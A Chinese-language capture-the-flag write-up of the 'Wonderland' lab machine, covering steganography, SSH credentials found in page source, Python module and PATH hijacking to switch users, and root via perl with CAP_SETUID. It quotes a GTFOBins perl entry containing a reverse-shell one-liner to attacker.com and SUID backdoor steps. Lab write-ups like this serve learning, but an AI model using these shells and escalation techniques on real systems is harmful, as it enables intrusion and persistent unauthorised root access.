
Wonderland WriteUp
用到的知识点
- 图片隐写
- python环境变量劫持提权
- ghidra反编译
- linpeas.sh 查看系统可用提权项
- getcap 查看系统可用提权项getcap -r / 2>/dev/null
用到的网站
渗透过程
寻找突破口:
目标主机IP:10.10.11.69 尝试在浏览器打开:

http形式访问,目标主机80端口开放,查看网页源代码并没有发现什么内容,右键图片在新的标签页打开:

继续查看该网页源代码,也没有发现内容,看到上方路径:img/,尝试打开img/路径:

发现有三张图片,将三张图片全部下载到本机,看是否有图片隐写内容,同时对目标主机进行nmap端口扫描和gobuster目录爆破:
获得主机开放端口:
nmap端口扫描结果:
注释:sT 以tcp协议进行扫描,sC 以默认脚本进行扫描 sV 探测服务的版本 -O 探测操作系统版本 -p指定端口 -oA 结果以全格式输出,保存到指定目录
–script=vlun 指定漏洞脚本

简单扫描发现目标主机开放了22和80两个端口,继续对主机进行详细扫描:


从aggressive os guess中可以看到,目标主机是一台Linux操作系统的概率比较大。
目录爆破:
目录爆破发现了几个目录,尝试打开,其中img目录是刚刚已经访问过的,继续访问剩余目录;

访问r/目录结果:

让我们继续找其他突破口,查看该网页的源代码,并没有发现异常内容,继续尝试poem目录:

该目录显示一首诗,查看网页源代码也没有发现什么内容,阅读诗的内容后并没有什么发现,继续寻找突破口。
使用binwalk查看下载下来的三张照片:

发现alice_door.png中有一个zlib文件,将alice_door中的文件提取出来查看:

在使用010Editor、Beyond_Compare、zsteg、stegsolve等工具查看后,并未发现有价值内容,使用隐写工具steghide查看各图片信息:

获得第一个信息:
white_rabbit_1.jpg是不需要密码的,空密码可以查看到里面隐藏了一个hint.txt文件,alice_door.jpg需要密码,查看不到里面的内容,把white_rabbit_1.jpg的hint.txt提取出来:

内容是 follow the rabbit,结合上文中目录爆破的内容,有一个r/的目录,该文件又让我们follow the rabbit,在尝试rabbit/,a/,b/,i/和t/后,最终发现r/a/b/b/i/t目录,在查看网页源代码后发现一组凭据:alice:HowDothTheLittleCrocodileImproveHisShiningTail;在之前的端口扫描中22端口开放,故尝试登录ssh。
获取第一个立足点:

ssh登录结果,果然是一组ssh凭据:

查看root.txt发现没有查看的权限,尝试sudo -l看是否有利用的命令,看到我们可以以rabbit身份运行python,并查看当前目录下的py文件,尝试运行一下。

运行结果:


python环境变量劫持获取第二个立足点:
经过查看,该py文件的作用是每次运行就会随机选择一段诗句展示在屏幕上,并且该文件使用了python的random库,让我们查看一下当前的python环境变量:

该环境变量首先查找当前目录下有无random库,如果没有则按照/usr/lib/python36.zip、/usr/lib/python3.6、/usr/lib/python3.6/lib-dynload等目录顺序进行遍历查找,我们可以在当前目录下创建一个random.py文件实现对python环境变量的劫持,当程序寻找random库时首先查找当前目录下的假random.py文件,查找到后执行该文件,因为我们可以用rabbit用户身份运行python,尝试切换到rabbit用户:
random.py文件内容:
import pty;
pty.spawn("/bin/bash")

可以看到成功切换为rabbit用户,查看rabbit用户目录下的内容发现有teaParty文件并且该文件可以执行,尝试执行后是一段文字,告诉我们欢迎来到tea party,并且hatter将在某个时间到来,让我们先喝茶等候。cat命令查看该文件能否有结果,打开后是乱码,遂使用ghidra逆向分析工具查看该文件能否有结果。(为什么不执行sudo -l查看可利用的命令?因为我们并不知道rabbit用户的密码)

因为在靶机中权限比较低,所以把teaParty拷贝到本机,使用nc命令进行文件传输,在靶机中执行:
nc 攻击机ip 攻击机端口 < 要传输的文件
在攻击机执行:
nc -lvnp 端口 > teaParty
经过ghidra逆向分析发现是一段代码:

着重关注system部分,调用了date系统命令,并让当前系统时间加一小时输出到屏幕上,遂尝试环境变量劫持,让程序执行date命令时执行我们恶意构造的date命令,首先在/tmp/目录下创建date命令,因为/tmp目录对所有用户可读可写可执行,创建完成后声明到环境变量,其中date文件的内容:
#!/bin/bash
/bin/bash

系统命令环境变量劫持获取第三个立足点:
接下来执行teaParty,发现用户已经切换为hatter,查看hatter目录下的文件,是一个password.txt,因为没有其他提示信息,暂且认为时hatter的ssh密码。

在hatter用户下执行sudo -l命令查看是否有可利用命令,发现hatter用户没有任何权限执行命令,使用getcap查看可利用的提权项,或使用linpeas.sh脚本查看可利用的提权项。
getcap命令解释:getcap 命令是在Linux 系统中用于查看文件的特殊权限(capabilities)的工具。 通过运行 getcap 命令,你可以查询指定文件或目录上设置的特殊权限。 这些特殊权限描述了该文件或目录在执行时是否有一些超出普通权限的能力。
经过查找perl可以利用提权,去GTFOBins 查找perl如何提权。

附查找结果:
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
- perl -e ‘exec “/bin/sh”;’
Reverse shell
It can send back a reverse shell to a listening attacker to open a remote network access.
- Run
nc -l -p 12345
on the attacker box to receive the shell.export RHOST=attacker.com
export RPORT=12345
perl -e ‘use Socket;$i=”$ENV{RHOST}”;$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
File read
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
- LFILE=file_to_read
perl -ne print $LFILE
SUID
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
- sudo install -m =xs $(which perl) .
./perl -e ‘exec “/bin/sh”;’
Sudo
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
- sudo perl -e ‘exec “/bin/sh”;’
Capabilities
If the binary has the Linux CAP_SETUID
capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.
- cp $(which perl) .
sudo setcap cap_setuid+ep perl
./perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’
因为sudo命令不可用,所以我们使用capabilities中的提权项提权:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
获取root权限,提权成功:
尝试结果获得root权限,获取root权限之后,读取两个flag,至此靶机提权成功。


